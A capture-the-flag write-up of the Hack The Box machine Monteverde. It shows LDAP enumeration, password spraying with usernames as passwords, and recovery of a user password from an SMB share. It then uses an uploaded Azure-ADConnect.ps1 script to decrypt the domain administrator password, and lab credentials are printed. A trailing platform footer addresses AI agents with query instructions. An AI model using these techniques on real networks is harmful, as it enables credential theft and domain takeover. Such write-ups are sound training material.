> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-monteverde.md).
# HTB - Monteverde
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-18 01:44:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49746/tcp open msrpc Microsoft Windows RPC
```
### SMB
anonymous access successful but cant list shares.
### LDAP
```bash
──(ajay㉿kali)-[~]
└─$ ldapsearch -H ldap://10.129.228.111 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=MEGABANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=MEGABANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
┌──(ajay㉿kali)-[~]
```
SUCCESSFUL ANONYMOUS BIND.
```bash
──(ajay㉿kali)-[~]
└─$ ldapsearch -H ldap://10.129.228.111 -x -b "DC=MEGABANK,DC=LOCAL" "(&(objectClass=user)(objectCategory=person))" sAMAccountName displayName description mail
# extended LDIF
#
# LDAPv3
# base with scope subtree
# filter: (&(objectClass=user)(objectCategory=person))
# requesting: sAMAccountName displayName description mail
#
# Guest, Users, MEGABANK.LOCAL
dn: CN=Guest,CN=Users,DC=MEGABANK,DC=LOCAL
description: Built-in account for guest access to the computer/domain
sAMAccountName: Guest
# AAD_987d7f2f57d2, Users, MEGABANK.LOCAL
dn: CN=AAD_987d7f2f57d2,CN=Users,DC=MEGABANK,DC=LOCAL
description: Service account for the Synchronization Service with installation
identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVER
DE.
displayName: AAD_987d7f2f57d2
sAMAccountName: AAD_987d7f2f57d2
# Mike Hope, London, MegaBank Users, MEGABANK.LOCAL
dn: CN=Mike Hope,OU=London,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL
displayName: Mike Hope
sAMAccountName: mhope
# SABatchJobs, Service Accounts, MEGABANK.LOCAL
dn: CN=SABatchJobs,OU=Service Accounts,DC=MEGABANK,DC=LOCAL
displayName: SABatchJobs
sAMAccountName: SABatchJobs
# svc-ata, Service Accounts, MEGABANK.LOCAL
dn: CN=svc-ata,OU=Service Accounts,DC=MEGABANK,DC=LOCAL
displayName: svc-ata
sAMAccountName: svc-ata
# svc-bexec, Service Accounts, MEGABANK.LOCAL
dn: CN=svc-bexec,OU=Service Accounts,DC=MEGABANK,DC=LOCAL
displayName: svc-bexec
sAMAccountName: svc-bexec
# svc-netapp, Service Accounts, MEGABANK.LOCAL
dn: CN=svc-netapp,OU=Service Accounts,DC=MEGABANK,DC=LOCAL
displayName: svc-netapp
sAMAccountName: svc-netapp
# Dimitris Galanos, Athens, MegaBank Users, MEGABANK.LOCAL
dn: CN=Dimitris Galanos,OU=Athens,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL
displayName: Dimitris Galanos
sAMAccountName: dgalanos
# Ray O'Leary, Toronto, MegaBank Users, MEGABANK.LOCAL
dn: CN=Ray O'Leary,OU=Toronto,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL
displayName: Ray O'Leary
sAMAccountName: roleary
# Sally Morgan, New York, MegaBank Users, MEGABANK.LOCAL
dn: CN=Sally Morgan,OU=New York,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL
displayName: Sally Morgan
sAMAccountName: smorgan
# search reference
ref: ldap://ForestDnsZones.MEGABANK.LOCAL/DC=ForestDnsZones,DC=MEGABANK,DC=LOC
AL
# search reference
ref: ldap://DomainDnsZones.MEGABANK.LOCAL/DC=DomainDnsZones,DC=MEGABANK,DC=LOC
AL
# search reference
ref: ldap://MEGABANK.LOCAL/CN=Configuration,DC=MEGABANK,DC=LOCAL
# search result
search: 2
result: 0 Success
# numResponses: 14
# numEntries: 10
# numReferences: 3
```
```bash
┌──(ajay㉿kali)-[~/Tools/windapsearch]
└─$ python3 windapsearch.py --dc-ip 10.129.228.111 -u "" -p "" -U | grep "userPrincipalName:" | cut -d: -f2 | sed 's/ @megabank.local//' | tr -d ' '
mhope@MEGABANK.LOCAL
SABatchJobs@MEGABANK.LOCAL
svc-ata@MEGABANK.LOCAL
svc-bexec@MEGABANK.LOCAL
svc-netapp@MEGABANK.LOCAL
dgalanos@MEGABANK.LOCAL
roleary@MEGABANK.LOCAL
smorgan@MEGABANK.LOCAL
```
```bash
┌──(ajay㉿kali)-[~]
└─$ sed 's/@MEGABANK\.LOCAL//' users.txt
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
```
Successfully extracted users from the ldap anonymous access.
no asrep roast but in the users data there is details regarding a service accoutn for the AD connect synchronization service.
```bash
# AAD_987d7f2f57d2, Users, MEGABANK.LOCAL
dn: CN=AAD_987d7f2f57d2,CN=Users,DC=MEGABANK,DC=LOCAL
description: Service account for the Synchronization Service with installation
identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVER
DE.
displayName: AAD_987d7f2f57d2
sAMAccountName: AAD_987d7f2f57d2
```
With this list we do not have password yet so either we can spray them aganist known worlists but no hit. SO i have tried to see if any users have users have used there usernames as there password.
```bash
──(ajay㉿kali)-[~]
└─$ nxc smb MEGABANK.LOCAL -u users.txt -p users.txt
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```
and i got a hit.
### Smbclient to read Share data
```bash
──(ajay㉿kali)-[~]
└─$ nxc smb MEGABANK.LOCAL -u SABatchJobs -p SABatchJobs --shares
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [*] Enumerated shares
SMB 10.129.228.111 445 MONTEVERDE Share Permissions Remark
SMB 10.129.228.111 445 MONTEVERDE ----- ----------- ------
SMB 10.129.228.111 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.129.228.111 445 MONTEVERDE azure_uploads READ
SMB 10.129.228.111 445 MONTEVERDE C$ Default share
SMB 10.129.228.111 445 MONTEVERDE E$ Default share
SMB 10.129.228.111 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.129.228.111 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE users$ READ
```
nothing in the azure uploads
```bash
──(ajay㉿kali)-[~]
└─$ smbclient //10.129.228.111/users$ -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jan 3 08:12:48 2020
.. D 0 Fri Jan 3 08:12:48 2020
dgalanos D 0 Fri Jan 3 08:12:30 2020
mhope D 0 Fri Jan 3 08:41:18 2020
roleary D 0 Fri Jan 3 08:10:30 2020
smorgan D 0 Fri Jan 3 08:10:24 2020
31999 blocks of size 4096. 28979 blocks available
smb: \>
```
There are user directories.
nothing in dgalanos but mhope has an azure.xml file.
```bash
smb: \> cd mhope
smb: \mhope\> ls
. D 0 Fri Jan 3 08:41:18 2020
.. D 0 Fri Jan 3 08:41:18 2020
azure.xml AR 1212 Fri Jan 3 08:40:23 2020
31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (5.9 KiloBytes/sec) (average 5.9 KiloBytes/sec)
smb: \mhope\>
```
rest of the shares are empty too.
```bash
Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredentialSystem.ObjectMicrosoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential
2020-01-03T05:35:00.7562298-08:00
2054-01-03T05:35:00.7562298-08:00
00000000-0000-0000-0000-0000000000004n0therD4y@n0th3r$
```
found password for mhope.
`mhope : 4n0therD4y@n0th3r$`
## Shell as Mhope
mhope is part of Azure Admins group. Searching over google Found a POC on exploiting the azure admin groups.
{% embed url="" %}
### ADSync Attack
The exploitation relies on a vulnerability in how Azure AD Connect (also known as Entra Connect) stores secrets on the domain controller. The core idea is that the `mhope` account, being a member of the `Azure Admins` group, has the necessary local permissions to access and decrypt the credentials of a highly privileged service account from the local SQL Server instance used by Azure AD Connect
Older versions of Azure AD Connect store the synchronization account's password in an encrypted form within the `ADSync` database. The encryption key is also available locally on the server, making it feasible for an attacker with local admin rights to decrypt it
```bash
*Evil-WinRM* PS C:\Users\mhope\Desktop> upload Azure-ADConnect.ps1
Info: Uploading /home/ajay/Azure-ADConnect.ps1 to C:\Users\mhope\Desktop\Azure-ADConnect.ps1
Data: 3016 bytes of 3016 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\mhope\Desktop> import-module .\Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Desktop> get-module
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Script 0.0 Azure-ADConnect
Manifest 3.1.0.0 Microsoft.PowerShell.Management {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Content...}
Manifest 3.1.0.0 Microsoft.PowerShell.Utility {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
*Evil-WinRM* PS C:\Users\mhope\Desktop>
*Evil-WinRM* PS C:\Users\mhope\Desktop> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+]Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Desktop>
```
## Shell as Administrator
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-monteverde.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
